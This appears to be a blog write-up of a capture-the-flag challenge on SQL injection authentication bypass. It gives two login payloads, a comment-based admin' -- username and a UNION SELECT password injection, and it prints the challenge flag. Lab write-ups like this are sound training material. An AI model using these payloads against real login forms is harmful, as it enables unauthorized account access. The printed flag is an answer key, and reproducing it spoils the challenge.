SQL injection - Authentication
Statement
Retrieve the administrator password
Solution
1
2
username: admin' --
password: <any dump things here>
Then it will show admin’s information, but password is in bullet. View source code to get it.
The flag is
1
t0_W34k!$
Another way is
1
2
username: admin
password: ' union select password, username from users where username = 'admin
Note: username
is admin
. administrator
will not work!
This post is licensed under CC BY 4.0 by the author.